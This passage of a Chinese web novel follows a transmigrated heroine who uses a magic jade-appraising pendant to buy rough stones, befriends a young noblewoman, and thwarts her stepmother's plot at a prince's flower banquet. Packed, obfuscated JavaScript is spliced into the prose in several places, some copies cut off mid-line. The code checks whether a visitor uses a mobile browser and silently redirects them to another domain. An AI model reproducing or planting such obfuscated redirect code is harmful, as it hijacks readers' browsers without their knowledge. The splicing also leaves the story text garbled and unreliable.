她面色愠怒,一把来扯过席菱歌的衣袖,声音震动:“席菱歌,我跟你说话呢!” 席菱歌一时不察,被扯得一个踉跄,脚下一扭,撞到了尚雅雅身上。 尚雅雅瞪大了眼睛,感觉整个人往后倒,眼见着后脑勺就要着地。 席菱歌伸手一捞,她不知道自己哪来这么大的力气,感觉怀中的人轻飘飘的,轻轻一抬,尚雅雅整个人被她公主抱起来。 轻得像一片薄纸。 席菱歌脑海闪过一个念头,随后她惊讶自己的力气。 不对啊,她力气没这么大,难不成是吃了灵泉水做的面疙瘩汤的缘故? 她下意识把怀中的人举上举下,像举重一般轻轻松松。 整个场面滑稽无比,店小二张大了嘴,看呆了。 尚雅雅整个人涨红了脸,像只蜷缩起来的虾,她声音带着委屈,“快把我放下来。” 席菱歌这才把人放下来,她挠了挠头,不好意思道:“刚刚对不起啊,我不是故意的。” 尚雅雅眼底闪烁着泪花,面色潮红,显然被吓哭了,骄纵少女一瞬间变成了小哭包。 她抽噎着道:“谁、谁让你这样了?席菱歌,我跟你说话,你凭什么不理我?” 席菱歌啊了一声,一脸懵逼。 什么情况? 按照记忆,尚雅雅向来与原身不对付,经常拌嘴。 她刚刚怕麻烦,觉得多一事不如少一 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毕竟,谁都知道席家嫡女骑着烈马直接把未婚夫当街撞飞了。 第8章这些原料通通一两银子 指不定永安王府正在气头上。 席菱歌点了点头,诚实道:“正是为了三日后的宴会,买玉石有急用。” 尚雅雅沉默片刻,上下打量着,方道:“你会雕玉吗?要是宴会献上拿不出手的玉石,会被人笑话。” 她哪怕再看不起席菱歌,也不愿见到席菱歌被继女踩在脚下,丢了她们京城贵女们的脸。 席菱歌一愣。 雕玉? 她不会,但她有金手指啊,区区雕玉不在话下。 席菱歌不欲多做纠缠,她上前几步,细细挑选着摆放在地面的玉石。 玉石随意摆放着,她拿起一块拎在手中细细观看,白的白绿的绿,绝大部分是白掺绿的冰种,带有瑕疵。 席菱歌深呼一口气,悄然握着龙纹玉佩。 瞬间,握在掌心的玉石上方突然冒出来一行字。 【品种:冰种飘蓝花】 【品质:低劣】 她掌心的玉石约莫有粽子大小,透白中掺杂丝丝缕缕的点绿。 玉石不是晶莹剔透的白,而是半透冰种。 店小二上前,悄然看了一眼尚雅雅,他重新换上笑脸,低声在旁边讲解。 “两位贵客,这玉石是刚开石开出来的冰种,虽说有细微的瑕疵,但若是找手艺人好好打磨一番,也是不错的选择。” “像贵客手中这块,只需要二两银子。” 席菱歌放下玉石,意兴阑珊,价格这么低,难怪玉佩给出的评价是低劣。 “还有更好的吗?” 店小二正欲作答,却听身侧的尚雅雅道:“你在这里买不到好东西,摆放在这里的都是些低劣货。” 她挑了挑眉毛,目光扫视着地面的玉石,脸上带有一丝不屑。 “什么时候玉石坊会做这种买卖。” “你若是看不起客人,直说便是,带人买来这些劣质品,真是降低格调。” “客官……” 店小二脸色一变,话未说出口,只见两人一前一后离开了玉石坊。 尚雅雅拽着席菱歌的衣袖,等出了玉石坊,她冷哼一声,道:“刚刚你帮了我,我好心好意提醒你一句,若是囊中羞涩,不必买这些垃圾。” “要是你真要送礼给永安王府,二十两银子买不到好东西。等我回府,送你一块……” 话未说完,身后的店小二很快追了上来,气喘吁吁。 他焦急道:“客人、两位贵客,刚刚不好意思,是我带你们来错地方了。我知道有一个地方可以购买好的玉石,价格十分低廉,能以成本价到手。” 席菱歌来了兴趣,“什么地方?” 店小二诚恳地在前方带路,“二位贵客,请跟我来。玉石坊有专门的一条街,用于摆摊,玉石品种繁多,兴许有你们喜欢的玉石。” 他可听不得有人诋毁玉石坊,专程找上来带路。 要是掌柜的知道,他今日差点砸了店里的招牌,肯定吃不了兜着走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111314|179037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >席菱歌跟了上去,心底升起几分好奇。 店小二带路,他穿过玉石坊后,左拐右拐,没走几步路,眼前的街道豁然开阔起来,街道口上面是一个牌匾,上面写着三个繁体大字——玉石街。 “这里是玉石坊专门花钱开辟的一条街道,里面全都是摆放玉石和原石的地方。” 两侧全是摊位,有的人站着,有的人盘腿坐着,面前用一块灰布摆放着大小不一的石头。 越往深处走,摊位逐渐变少,取而代之的是开设在两边的房屋。 尚雅雅捂了捂鼻子,厌恶地皱了皱眉,人与人摩擦的汗臭味飘进她的鼻腔,几乎作呕。 她掉头就想走,却见周围的人越来越少,已经找不到来时路,只好重新跟了上去。 尚雅雅站在席菱歌身侧,不自觉地靠近,心中的冒出的惧怕消散了些。 席菱歌双眼冒光,路过一个个摊位和店铺的时候,手指握着龙纹玉佩,一块块玉石上方冒着字体,豁然是关于玉石的介绍。 昨日她的发现果然没错,只要握着玉佩,就能探测物品。 甚至能够探测原石。 席菱歌随手从路边的摊位拿起一块石头,信息立马冒了出来。 【品种:糯冰种翡翠】 【品质:良好】 摆摊的人是穿着粗布汗衫的中年男人,他观察着席菱歌的穿着,露出憨厚的笑。 “两位贵人,需要购买原料?这些原料通通一两银子一块!” 第9章竟然是紫色品质的面板 席菱歌眼睛一亮。 难道这就是赌石? 穿越前她曾经听说过赌石,都是些豪门贵族,或者小有资产的富商才能玩得起的项目。 根据原石的外观、颜色来猜测石头中的翡翠,从而买定离手。 有人因此一夜暴富,有人因此一夜破产。 天堂与地狱皆在一念之间。 席菱歌没想到赌石居然在古代就有。 店小二擅长察言观色,他似乎从席菱歌的神情中看出什么,特地出言介绍。 “客人,玉石街全是卖玉石的好地方,这些石头价格低廉,堪比成本价,但若是运气好,能从石料中开出极品帝王翡翠,价值千金。” 这不就是赌石吗? 席菱歌肯定自己的想法,打定了主意要在这里买石料。 她嘴角咧开,心中欢喜无比。 她可是有金手指的女人! 握着龙纹玉佩,地摊上一块块或大或小、形状各异的灰扑扑石头上出现面板。 她从左到右一个个挨着看。 【品种:无】 【品种:无】 【品种:糯种翡翠】 【品质:一般】 【品种:豆种翡翠】 【品质:低劣】 【品种:无】 满满当当铺了一大摊的石块大部分都是纯度百分百的石头,少部分有玉石。 席菱歌眼睛一亮,毫不客气地买下自己看中的石料。 她一共买了三块,递了三两银子过去。 购买的石料差不多有半张手掌大小,上面依次顶着种糯冰、糯种、豆种翡翠。 品质低劣的豆种,面板颜色是白色;品质一般的糯种,面板颜色是绿色;而品质良好的糯冰种翡翠,面板颜色是蓝色。 席菱歌玩过游戏,知道品质和面板呈现的颜色息息相关。 目前买到最好的石料只是蓝色品质。 席菱歌揣着石料就走,打算看下一个摊位。 中年男人欲言又止,“客人,不需要开石吗?” 席菱歌甩了一句不需要。 空间是万能的,既然已经开启了琢玉功能,就说明还有其他的功能。 她并不吝啬一金币。 更主要的是,要是在这里开石,指不定要惹出什么麻烦。 相当于此次开盲盒,她次次出金,旁人次次空军,这刺激谁受得了。 中年男人摇了摇头,并未说话,继续在摊位吆喝着。 今日开了张,既然客人不需要,那他也不必继续挽留。 席菱歌继续观望着,踱步走在玉石街。 “贵客,祝你们玩的尽兴,我先走了。” 店小二在介绍完之后,便离开了这里,他还要回去工作。 尚雅雅皱眉,玉石街人来人往,再加上太阳出来,酷暑时分,阳光大剌剌地照射在地面,路人的汗臭味飘了过来。 她嫌弃地捂住鼻子,扯住了席菱歌的衣角。 “你还要多久才离开这里?” 席菱歌停下脚步,她好声好气道:“我要买够足够的石料。” 虽然不知道尚雅雅为什么会跟着她,但席菱歌心底没由来地升起一股心虚。 毕竟刚刚她把小姑娘欺负哭了。 尚雅雅模样稚嫩,十三岁左右,搁在现代刚上初中。 她这是在欺负未成年啊! 席菱歌一想到这,声音没由来的轻柔几分。 记忆中原主和眼前的尚雅雅经常拌嘴,但也仅限于拌嘴的地步,看似仇敌,实际不过是小孩间的玩闹罢了。 尚雅雅却不这么想,她看了看被席菱歌揣得发热的三颗石头,眼底闪过一丝怜悯。 席府已经变成这样了吗? 堂堂嫡女被打发成这样,买玉石甚至都要数着银子,亲自出府来买,连个丫鬟都没有。 二十三两银子能买到什么好玉石料? 连最便宜的翡翠都买不起。 更别提送给永安王府的赔罪礼物了。 尚雅雅别过头,手指搅着衣角,扭捏着说道:“你要是想要玉石,我家有一块冰种晴水绿,送给你也无妨。” 席菱歌:“!” 她猛烈回头,微微睁大了双眼。 没想到啊,这个仇敌居然是个小富婆。 小富婆送温暖来了吗? 虽然她没听过冰种晴水绿,但是这名字一看就不是凡品。 再说了,白嫖的玉石要什么自行车。 这算什么仇敌。 她宣布,这就是她的好朋友!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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席菱歌揣了四颗石料,两只手堪堪捧住。 她又花了五枚铜板买了一个小巧的麻布袋,随后将买来的石料全都放了进去。 尚雅雅嘀咕道:“喂,你买这些没用的石头干嘛?” 她扫了一眼被随意堆放在门槛外面的石料,“摆放在外面的大部分都是废弃石料,很少能开出罕见的漂亮翡翠。” 尚雅雅下了结论,她气鼓鼓地一把拉过席菱歌的手,“你被骗了。” 席菱歌抬起手,拎起麻布袋,露出笑容,“可是这里面有我送你的礼物。” “礼、礼物?”尚雅雅眨了眨眼,脸颊瞬间变得通红,她和席菱歌经常作对,以往都是一言不合吵起来。 今天不一样,这家伙居然说要送给她礼物? 脸上传递的炙热感,足以让尚雅雅撇过头,她咬了咬下唇,不知不觉松开牵着席菱歌的手。 “别以为这样我就会原谅你。”她道:“三日后是永安王府的宴会,你要是拿不出相应的贵重礼物,肯定会被京城所有贵女嘲笑。” “明天我会让府中的下人把翡翠送给你。”尚雅雅嘀咕几句,像是被火烧了般后退了好几步,“我、我先走了,宴会见!” 她的身影很快就消失在玉石街,跳上了在街外停滞已久的豪华马车。 见人离开,席菱歌才收回视野,她低头望着麻布袋,小心翼翼地攥在掌心,生怕被人抢走了一般。 这些是她开启空间的起始资金,得好好保管。 席菱歌收购完是石料后,回到席府,一路走向自己的房间把大门紧闭。 她迫不及待提着麻布袋进入空间,握起镰刀。 在收割完小麦后,马不停蹄地加工成面粉。 【检查到四块原石石料,是否花费1金币开启切割功能?】 【是or否?】 席菱歌想也不想点了是,她搓了搓手,农田一侧突然出现了一台原石切割机。 她想也不想把四块买来的原石从麻布袋里拿出来。 刚拿出来没几秒,眼前又出现熟悉的面板。 【检查到四块原石原料,是否选择切割?】 “是。” 席菱歌按照一块一块的方式把原石放上去,默念一声:“切割。” 眼前的切割机嗡嗡嗡地运转起来,锋利的刀刃朝着石料滑动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的手都在抖。 席菱歌深呼吸一口气,点开面板的琢玉功能。 【是否开启琢玉功能?】 席菱歌点了是,手中的四块玉石瞬间消失。 【琢玉功能已开启,按照玉石形态将会雕刻出最完美的玉石加工品。】 【加工倒计时:43小时】 离切割机不远处,冒出一座加工台,咔嚓咔嚓像是凿石头的声音不间断响起。 席菱歌收回目光,一键播种小麦,再拎着加工完的面粉送进仓库。 因为小麦成熟时间短,席菱歌除了每日三餐,其余时间都躲在房间里,时不时进入空间,一键种菜、一键收割、一键加工。 仓库边堆满了收割的小麦,右边堆满了装满白面粉的麻布袋,十斤装的面粉一小袋一小袋的堆积成山。 席菱歌十分有成就感。 她正在仔细琢磨空间,等待倒计时结束的时候,完全不知道府中已经卷起了新的风暴。 下人们议论纷纷,全都是针对席菱歌的谣言。 * 席府,惜春小院。 柳依依搅着手帕,坐在圆木椅凳上,她面前桌面摆放着各种精美绝伦的首饰,大多数是金银首饰。 “依依,这些东西都是娘攒下来的首饰,你看中什么,直接拿走便是,届时永安王府的宴会,定能得到世子的青睐。” 柳依依没动,轻蹙眉头,看上去娇弱动人,“娘,席菱歌骑马**,永安王府居然没有解除婚约。” 她语气含着一丝不可置信,“明明我们给马下了药,她竟然还能这般好运,活着回来了。” 如果席菱歌没活着,这门婚事早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111317|179037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是她的了! 柳玉莎坐在一旁,把面前的首饰摊开,她目光宠溺,语气温柔,“依依,你是在担忧吗?” “不必担忧。”柳玉莎一点都不着急,慢悠悠地把玩着首饰,“事情已经吩咐下去,上次她好运躲过一劫,这次可没这么简单,我会让她身败名裂。” 柳玉莎安抚道:“依依,你要知道,现在你才是席府的嫡女。席菱歌她算个什么东西,也敢跟你抢这门婚事。放心,有娘在,你想要什么,娘都会给你。” “无论是婚事,还是成为世子妃,娘保证,你嫁进永安王府后,一辈子享不尽的荣华富贵。” 柳依依眉目间的忧愁散开,她终于笑了起来,轻轻点头,嗯了一声,“娘,我都听你的。” 柳玉莎拿了做工精美的金钗,插在柳依依发间。 “依依,你这么美,她比不过你。等着吧,等宴会那天,娘会想办法让席菱歌滚出京城,一辈子都待在穷乡避壤,永远回不来。” “你是高高在上的凤凰,她不过是一只随处蹦跶的小麻雀,翻不过我们的手掌心。” “我已经安排好了,你大可放心。” 两人的交谈声消散在风中。 第12章百花宴开启,阶级分明? 三日时间很快过去。 永安王府的宴会时间到了。 席府一派喜气洋洋,不到天亮,府中传来脚步声,家中奴仆忙上忙下,端着水盆、妆匣、胭脂等物品送往惜春小院。 相比于火热的惜春小院,席菱歌居住的小院冷冷清清,院中只有一棵乘凉大树,一张石桌,三个石凳,显得十分简陋。 端着水盆的婢女青柳敲响了沉寂的大门。 “大小姐,该洗漱了。” 在婢女的敲门声中,席菱歌翻身下床,打开房门,任由青柳洗漱,梳理长到打结的头发。 青柳是渣爹那边送过来的人,专门来伺候席菱歌,上一个服侍的婢女因为撺掇原身骑马,撞飞了永安王世子,被渣爹发卖了。 青柳的手很巧,没花多少时间,梳理好一切。 做完这些事,她领着席菱歌前往府外,停在马车车厢外候着。 青柳恭敬道:“大小姐,请静候等待,二小姐和夫人稍后就到。” 人走之后,一阵寂静。 席菱歌坐在车厢软垫上,一脸沉思,手中握着精美的首饰盒。 三日时间,空间的琢玉功能简直逆天。 再加上尚雅雅送来的冰种晴水绿,她手中有五枚雕琢完成的玉佩。 紫色品质的高冰种正阳绿被雕刻成两件首饰,一件鹁鸽蛋一样大的翡翠戒面,戒环部分用纯银雕刻成藤蔓状,闪烁着冷白光泽。 一件是翡翠吊坠,翡翠质地细腻如水,清澈透亮,吊坠外围镶嵌着繁复优雅的白金边框。 两件翡翠首饰奢华中透着华贵,翠色如春叶初生,衬得贵气十足。 眼前的面板显示紫色的光芒。 【正阳绿翡翠吊坠(紫)】 【品质:优质】 【出售价格:50金币】 【正阳绿翡翠戒面(紫)】 【品质:优质】 【出售价格:50金币】 要是卖掉,这是要暴富的节奏啊。 席菱歌强忍着心痛,把首饰收回空间,手指颤抖不已。 这两件最高品质的首饰是送给永安王妃的礼物,不能动。 一来,席菱歌希望这份礼物能让永安王妃摒弃前嫌。 二来,她要用两件首饰打开京城的市场,随后狠狠收割一笔,把家产掏空气死渣爹! 席菱歌早在三天前筹备好了一切,如果事情顺利,她能够攫取大量资产和金币,一分都不给渣爹后娘留。 然后找个机会犯错,解除婚约逃离京城,再雇佣可靠的人手,回到陵水乡下养老去。 只要有空间,她的日子过得美滋滋,谁都不能破坏她的美好生活。 马车外乍然一声巨响,像是有木箱摔倒在地,发出咕噜噜的声响。 “贱奴!这是送给永安王府的礼品,要是打碎了,坏了事,有你好果子吃!” 席菱歌探出头,外面人仰马翻,一片狼藉,众多奴仆站在一侧。 管事大声呵斥,扯着犯错的下人不肯松手,直到柳玉莎一行人姗姗来迟。 “何事惊扰?”柳玉莎发问。 “夫人。”管家战战兢兢低下头,“下人把送给永安王府的盒子打翻了,只怕东西……” 柳玉莎淡淡一扫,嘴角上扬微小的弧度,她双手放置腹部,做出一副当家主母大度的模样。 “这点小事罢了,收拾一下,告诉车夫马上准备出发。” 一行人即刻出发,其余搬运东西的奴仆被打发回府。 马车走的官道,一路平坦,很快就抵达府邸。 这场宴会地点在城外的避暑山庄,是永安王府的产业。 柳玉莎递过礼帖,带着柳依依、席菱歌二人进去。 入眼是草木繁盛的庭院,花红柳绿,再多走几步,映入眼帘的是一个巨大的荷花池,荷花池上面搭建着的古亭,池水映照着片片荷叶嫩绿。 穿过荷花池才算真正抵达了目的地,是一场早就备好的百花宴。 几张摆放着花朵、糕点的梨花木桌前,全是姿态仪容挑不出错的妇人。 每一位妇人身边跟随着几名容色盛艳的少女,模样含羞带怯。 柳玉莎面带微笑,快步走过去,同一名妇人娴熟地交谈起来,两人刚寒暄几句,就听闻下人几声吆喝。 “永安王妃到——” “永安王府世子到——” 席菱歌站在一侧,在听到两道声音时,总觉得周围人打量她的目光更多了。 窃窃私语声响起,仿佛都在讨论她一般。 席菱歌大大方方地回视过去,却被瞪了几眼,她感觉莫名其妙。 什么情况,她没得罪过这些人吧? 就算是原主,顶多只是声名狼藉,短短几日时间发酵成这样。 若是没有好后娘安排,她可不信。 席菱歌冷哼一声,幸亏她早已有了对策。 下一刻,声音小了不少,永安王妃从一侧出来,仪容华贵,气质不俗。 慕池跟随其后,一袭冰蝉丝所制作的白衣,透着光泽,整个人气质不俗,风度翩翩,完全没有传闻的草包气质。 他扫视着周围,目光不定,像是在搜索着什么。 在瞧见席菱歌,他露出一抹大大的笑,像地主家的傻狍子。 慕池挥了挥手,快步走过去,“菱歌,原来你在这里!” “我找了你好久,就知道你会来!” 他开心不已,哪怕头上、身上裹着纱布,眼睛望向席菱歌的时候,亮晶晶的,宛若星辰。 这一场面足以让不少妇人驻足,目瞪口呆。 永安王妃暗中扶额,深深叹了口气,额头的皱纹多了几根。 她这傻儿子,一瞧见席府那丫头,整个人跟刚出生的小犬一样黏黏糊糊,在府中日日想、夜夜想。 好不容易见面,居然是这个德行。 永安王妃别过头,不忍再看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121029|179037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >希望席府的丫头能够治住这个小魔头。 她上前优雅地坐在主位,一个眼神过去,身侧的大丫鬟出声道:“诸位夫人,王妃说来到这里不要拘谨,百花宴开始!” 百花宴? 永安王妃开展这个宴会有何目的? 席菱歌悄然看过去,居然发现各个妇人都规规矩矩坐在既定的位置,就连柳玉莎也不例外。 倒是像柳依依等随行的少女们规规矩矩站在身后一侧,手中捧着盒子,像是在排队。 尚雅雅也在其中,她双目冒着怒火,急得不行,直直盯着席菱歌的方向,在与她对上视线的瞬间。 她张了张口,无声传递着消息:“快过来,百花宴要开始了!” 席菱歌轻轻拂开了握在手腕的手,悄声道:“世子,这不合规矩,我先走了。” 慕池失落地哦了一声,“那等一会儿,我再找你玩。” 席菱歌刚走没几步,来到柳依依身侧,直接被尚雅雅一把手拉了过去。 她道:“你疯了,你堂堂嫡女,走到庶女那边的位置作甚?” 尚雅雅嗓门不大不小,这番话让不少庶女咬碎了牙,一旁的嫡女们连眼神都懒得奉欠。 柳依依脸色涨红一瞬,余光瞧见什么,眼神闪烁,眼底蓄着泪花,看上去我见犹怜。 她泪汪汪地看向慕池,“世子……” 两个字吐出来,叫人半边身子骨都酥麻起来。 若是寻常男子恐怕就中招了。 慕池仿佛完全没听到这道声音,径直走了过去。 倒叫嫡女群中发出低低的嘲笑声。 尚雅雅凑近,冲着席菱歌咬耳朵,“这就是你家那个后娘上位的女儿,啧啧,百闻不如一见,难怪你斗不过她。” 席菱歌侧头打量一番,周围气氛不对。 嫡女分为一拨人,庶女分为一拨人,二者之间等阶分明,形成泾渭分明的分界线。 席菱歌问道:“百花宴是什么?” 尚雅雅惊异地瞧了她一眼,“百花宴是永安王妃挑人的好日子,你莫不是烧糊涂了,连这些都忘了?” “清醒过来后,我忘了一些事。” “原来是这样。”尚雅雅耐心解释道:“被永安王妃挑中,好处可多了,日后有永安王府撑腰,去哪里都有一个由头,不怕被抓起来。” 席菱歌若有所思,又听得尚雅雅低着嗓子,悄声道:“听说上头那位时日不多,京城要乱起来了!” 话音刚落,前方的人群捧着盒子走动起来。 柳依依连忙走上来,把一个木盒放在席菱歌手中,“姐姐,这是娘亲吩咐的,今年给永安王府送的礼。” 随后,她趁乱回到自己的位置,低垂着头。 眼见着席菱歌的身影越来越远,她嘴角溢出一抹计划得逞的笑。 等着看吧,席菱歌。 玉佩是我的,世子也是我的!能成为永安王府女主人的人,也是我! 第13章顶尖正阳绿翡翠首饰 席菱歌拿着木盒,若有所思,她抬头看了一眼。 排着队的少女挨个挨个把盒子递过去,连尚雅雅也没幸免。 报唱的奴仆一声比一声高昂。 “户部郎中李府千金送来一对玉如意,附赠一盒百合糕。” “兵部右侍郎张府千金送来一颗夜明珠,附赠一盒荷花酥。” 很快轮到了席菱歌,席菱歌悄然早就备好的礼物,替换了柳依依的盒子。 谁知道是不是有诈,她得小心谨慎才好。 席菱歌刚把东西递上去,奴仆看了她好几眼一眼,才道:“礼部左侍郎席府千金送出翡翠首饰一对,八珍糕一盒。” 八珍糕? 她的盒子里没装这个东西。 席菱歌皱眉,正欲询问。 永安王妃突然出声道:“把东西呈上来。” 因为慕池的缘故,永安王妃比起初见时的冷漠,脸色好了许多,称得上和颜悦色。 奴仆上前,梨木盒恭敬地捧在永安王妃的面前。 盒中不知道用材质制成的黑色垫子,上面摆放着翡翠首饰,一枚戒指,一个吊坠。 首饰精美,链圈和戒环纯银打造成雕花形状,中心的翡翠透亮到散发着莹莹绿光,宛若一汪碧绿的湖水。 永安王妃忍不住握在手中细细观赏。 当首饰从梨花盒中拿出来的那一瞬,周围妇人倒吸一口冷气。 大家都是识货之人,在京城的贵妇们个个把持着家中的铺面,眼光不低。 单凭翡翠料子,就称得上稀奇,再加上巧夺天工的大师级的雕刻手艺,简直是画龙点睛之笔,把这块正阳绿的翡翠料子救活了。 这两样翡翠首饰,绝对是无价之宝。 雕刻手法巧夺天工,凸显正阳绿的透亮清澈。 试问哪名女子不爱美丽的首饰? 永安王妃笑容满面,越是拿在手中观赏,就越欢喜,连带着摆放在一旁的八珍糕都见猎心喜。 她捻起一块,笑道:“菱歌,你倒是有心了,知道本宫喜欢奇珍阁的八珍糕,专程带给本宫。” 眼见着永安王妃玉唇轻启,正要咬下,席菱歌急了。 她轻呼一声:“王妃且慢,这八珍糕……” 话音未落,永安王妃把糕点捻在指腹,迟迟未曾咬下,“怎么了?” 她面有疑惑之色,眯了眯眼。 席菱歌深呼一口气,心中暗骂一声。 她总不能说这八珍糕可能有毒吧? 后娘继妹当真好算计,刚刚递给她盒子,她怕有诈,暗中悄然替换。 哪知席府早在礼簿记了礼品,八珍糕是奴仆送上去的,鬼信其中没动手脚。 当着这么多人的面,席菱歌只得道:“王妃,不如先佩戴首饰,美物就该衬王妃这般美人。” “油嘴滑舌。”永安王妃笑着放下糕点,用绢帕擦拭着柔夷,随后握着首饰爱不释手,道:“本宫甚是欢喜。” 席菱歌悄然松了口气,退至一旁。 危机解除。 只希望接下来不出什么乱子。 一口气没松多久,尚雅雅不知何时凑了过来,低声道:“我给你送过去的料子,你没用?” 她语气颇酸,又道:“一块顶尖正阳绿要上千两银子,你哪来这么多钱,难不成真是在玉石街开出好东西了?” 没良心的坏家伙。 尚雅雅暗暗道:“早知道就不送玉过去,也没见得把我放在心上。” 席菱歌露出微笑,拉住她的手,轻声道:“上次在玉石坊开出的玉,多亏有你在,不然我没这样的好运气。” 她手掌一翻,从衣袖掏出一个小首饰盒,约莫半个手掌大小。 “这是你送的玉,我雕琢成了平安扣模样,谢谢你上次帮忙。” 尚雅雅脸色爆红,支支吾吾道:“谁要你的东西。” 话毕,她却伸手把东西攥进掌心,十分宝贝。 席菱歌又道:“只是需要你帮我宣传宣传,料子好得,但雕刻的手艺不俗,我帮朋友过问,可有需要雕刻的玉,尽管找我。” “行,这件事包在我身上。”尚雅雅提醒一句,“不过,你多注意注意你那继妹,看她的模样,好像对你很是不满。” 席菱歌转头望去,正巧看见柳依依咬牙切齿的模样。 两人目光正相对。 柳依依绷紧了脸色,下意识露出柔顺的笑。 第14章前方一大波贵女出没 没有电闪雷鸣,没有针锋相对。 柳依依的笑容柔弱纯澈,像极了无害的小动物,满眼懵懂,仿佛尚雅雅此刻说的话都是无稽之谈。 席菱歌转眸一看,尚雅雅脸都黑了,她冷哼一声,“席菱歌,信我还是信你继妹,你自己选!” “自然信你。”席菱歌笑着凑近,悄悄握住她的手,“我们的关系谁跟谁,比那继妹好上几倍。” 尚雅雅气性小了许多,耳根通红。 看样子,原主记忆也有对不上的时候。 百花宴开启,好不热闹,紧接着就是各府夫人同永安王妃交谈的事情,与她们无关。 席菱歌瞧见柳玉莎讨好般笑着,恨不得舔着张脸巴结周围的人,不由得想笑。 挪用自己的嫁妆,讨好周围人,当真是脸皮厚。 她倒是瞧瞧,今日的事情过后,柳玉莎如何在圈子里立足! 以往都是柳玉莎踩着原主的脸面,以拉踩的方式让柳依依出圈,每次宴会都不例外。 记忆中宴会通常都以原身嚣张跋扈、桀骜不驯为开头,再以柳依依温顺贤淑、得体大方为结尾,久而久之,两人的名声在圈子内传开。 一旦提及席菱歌,便是不服管教,抹黑了嫡女的名声,反倒是柳依依被吹捧得上了天,谁娶了她便是天大的幸事。 虽说顶着庶女的名声,但不少好人家已经悄悄向席府打听柳依依的婚事。 现在,席菱歌不犯错,她暗自冷笑,倒是要看看今日柳玉莎二人作出什么幺蛾子来。 先前的礼簿一事,尚且让席菱歌吃了亏,万一永安王妃真吃了糕点,吃出什么好歹来,她就算跳进黄河也洗不清自身的嫌疑。 想此,席菱歌走至一旁,来到案桌前,捻着糕点,轻咬一口。 她一点都不慌,早就有了对策。 尚雅雅带着盒子晃了一圈,不到半炷香时间,带了不少贵女前来,贵女们个个都是有头有脸的人物,衣衫轻盈,布料奢华。 席菱歌甚至眼尖地望见,其中一人身上服饰是用的冰丝蝉,轻盈透气,在酷夏时分,这种布料极其昂贵,市场罕见,价值千金都不为过。 她搓了搓手,按耐不住心头的激动。 这就是人脉! 是富婆的人脉! 她恨不得冲上前去,狠狠亲尚雅雅几口。 席菱歌越看尚雅雅,越是觉得亲热,像是见到了财神爷一般,双眼发光。 这哪里是记忆中的死对头啊,简直是送财童子。 但凡她能在这些贵女手中接到几单,解锁空间新功能的金币就到手。 届时卷跑席府家产,带着鼓囊囊的财产就回乡下种田去,气死渣爹后娘,她就美滋滋当个小富婆,谁也奈何不了她。 至于婚约,谁想要,谁就拿去吧! 席菱歌不稀罕,永安王府这么多规矩,哪怕世子是个傻子,但是今日场面一见。 这百花宴不止是表面上赏花这般简单,倒像是永安王府在拉拢人心,为自己搏一条后路。 席菱歌晃了晃脑袋,把这点小心思压下去。 管他的,反正不关她的事情,她现在可不愿意待在京城。 毕竟,不出一个月时间,一场巨大的风波将卷席整个京城。 她得在一个月之内,掏空家产,顺便赚够足够的金币。 做完这些事之后,她得想办法惹恼永安王府,与世子达到相看两厌的程度,最好是对方主动提出取消婚约。 第15章谈成一笔大生意 席菱歌想得美好,心中喜滋滋,笑容多了几分真挚。 “不知诸位小姐为何而来?” 她说话多了几分文绉绉,直叫尚雅雅停下脚步,十分不雅地翻了个白眼。 还装讲究人。 人就是席菱歌要她带来的。 心中虽如此想,尚雅雅尽职尽责回头介绍道:“这位就是我说过的保障人。” “我手中的首饰价值不菲,全凭雕琢的手艺高超,硬生生把一块尚有瑕疵的晴水绿救活了,而这工匠,只有她能请得动。” 贵女们目光投向席菱歌,眼神多了几分打量和退却。 席菱歌名声在外,无人不知无人不晓。 单凭那张脸,以及今日永安王府的态度,足以让不少人转变心态,再加上尚雅雅做担保。 为首的贵女摩挲着芊芊玉指,露出一抹雅致的笑。 “久闻席府小姐大名,今日不知,小姐有这般人脉。像寻常工匠,府中都会豢养一两人,足够应付寻常事态,但雕琢手艺巅峰造极的工匠却是万金难求。” “不知在下能否有这等荣幸,能找你帮忙,寻一名顶尖工匠帮忙雕琢一块玉石。” 